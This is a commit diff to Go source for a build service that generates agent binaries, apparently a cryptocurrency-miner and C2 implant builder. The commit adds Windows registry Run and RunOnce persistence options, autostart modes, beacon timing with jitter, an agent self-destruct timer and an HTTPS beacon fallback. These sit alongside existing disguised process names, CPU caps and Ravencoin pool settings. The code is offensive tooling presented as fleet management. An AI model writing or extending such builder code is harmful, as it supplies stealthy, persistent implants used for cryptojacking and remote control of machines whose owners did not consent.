feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
@@ -39,6 +39,12 @@ type BuildRequest struct {
|
||||
RunAs string `json:"run_as"`
|
||||
HostBinaryTarget string `json:"host_binary_target"`
|
||||
AutoStart bool `json:"auto_start"`
|
||||
AutostartMode string `json:"autostart_mode"`
|
||||
RegistryPersistence string `json:"registry_persistence"`
|
||||
RegistryRunHKCU bool `json:"registry_run_hkcu"`
|
||||
RegistryRunHKLM bool `json:"registry_run_hklm"`
|
||||
RegistryRunOnce bool `json:"registry_run_once"`
|
||||
RegistryExplorerRun bool `json:"registry_explorer_run"`
|
||||
Persistence bool `json:"persistence"`
|
||||
ProcessName string `json:"process_name"`
|
||||
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
||||
@@ -97,6 +103,13 @@ type BuildRequest struct {
|
||||
RVNPoolTLS bool `json:"rvn_pool_tls"`
|
||||
RVNPoolPass string `json:"rvn_pool_pass"`
|
||||
RVNBackupPools []BackupPool `json:"rvn_backup_pools"`
|
||||
|
||||
// Connection profile — C2 beacon timing and agent self-destruct
|
||||
BeaconIntervalSec int `json:"beacon_interval_sec"`
|
||||
BeaconJitterPct int `json:"beacon_jitter_pct"`
|
||||
AgentKillAfterDays int `json:"agent_kill_after_days"`
|
||||
HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
|
||||
HTTPSBeaconAfterMin int `json:"https_beacon_after_min"`
|
||||
}
|
||||
|
||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||
@@ -341,6 +354,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
if h.db != nil {
|
||||
user := ""
|
||||
if u, _, ok := r.BasicAuth(); ok {
|
||||
user = u
|
||||
}
|
||||
_ = h.db.InsertAudit(user, "forge_build", "", map[string]string{
|
||||
"build_id": resp.BuildID, "worker_name": req.WorkerName, "file_name": resp.FileName,
|
||||
})
|
||||
}
|
||||
|
||||
if r.URL.Query().Get("download") == "1" {
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
|
||||
@@ -848,6 +871,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.Persistence {
|
||||
req.AutoStart = true
|
||||
}
|
||||
req.AutostartMode = strings.ToLower(strings.TrimSpace(req.AutostartMode))
|
||||
req.RegistryPersistence = strings.ToLower(strings.TrimSpace(req.RegistryPersistence))
|
||||
normalizeRegistryPersistence(req)
|
||||
if req.ProcessName == "" {
|
||||
req.ProcessName = sanitizeFileName(req.WorkerName)
|
||||
}
|
||||
@@ -1031,6 +1057,12 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
RunAs: %q,
|
||||
HostBinaryTarget: %q,
|
||||
AutoStart: %v,
|
||||
AutostartMode: %q,
|
||||
RegistryPersistence: %q,
|
||||
RegistryRunHKCU: %v,
|
||||
RegistryRunHKLM: %v,
|
||||
RegistryRunOnce: %v,
|
||||
RegistryExplorerRun: %v,
|
||||
ProcessName: %q,
|
||||
BuildID: %q,
|
||||
BuiltAt: time.Unix(%d, 0),
|
||||
@@ -1078,6 +1110,12 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
RVNPoolTLS: %v,
|
||||
RVNPoolPass: %q,
|
||||
RVNBackupPools: %s,
|
||||
|
||||
BeaconIntervalSec: %d,
|
||||
BeaconJitterPct: %d,
|
||||
AgentKillAfterDays: %d,
|
||||
HTTPSBeaconFallback: %v,
|
||||
HTTPSBeaconAfterMin: %d,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -1094,6 +1132,12 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.RunAs,
|
||||
req.HostBinaryTarget,
|
||||
req.AutoStart,
|
||||
strings.TrimSpace(req.AutostartMode),
|
||||
strings.TrimSpace(req.RegistryPersistence),
|
||||
req.RegistryRunHKCU,
|
||||
req.RegistryRunHKLM,
|
||||
req.RegistryRunOnce,
|
||||
req.RegistryExplorerRun,
|
||||
req.ProcessName,
|
||||
buildID,
|
||||
time.Now().Unix(),
|
||||
@@ -1139,9 +1183,33 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.RVNPoolTLS,
|
||||
rvnPoolPass(req),
|
||||
formatGoBackupPools(req.RVNBackupPools),
|
||||
req.BeaconIntervalSec,
|
||||
req.BeaconJitterPct,
|
||||
req.AgentKillAfterDays,
|
||||
httpsBeaconFallbackEnabled(req),
|
||||
httpsBeaconAfterMin(req),
|
||||
)
|
||||
}
|
||||
|
||||
func httpsBeaconFallbackEnabled(req *BuildRequest) bool {
|
||||
if req.HTTPSBeaconFallback {
|
||||
return true
|
||||
}
|
||||
for _, u := range req.BackupServerURLs {
|
||||
if strings.TrimSpace(u) != "" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func httpsBeaconAfterMin(req *BuildRequest) int {
|
||||
if req.HTTPSBeaconAfterMin > 0 {
|
||||
return req.HTTPSBeaconAfterMin
|
||||
}
|
||||
return 3
|
||||
}
|
||||
|
||||
func rvnPoolHost(req *BuildRequest) string {
|
||||
if req.RVNPoolHost == "" {
|
||||
return "rvn.2miners.com"
|
||||
|
||||
Reference in New Issue
Block a user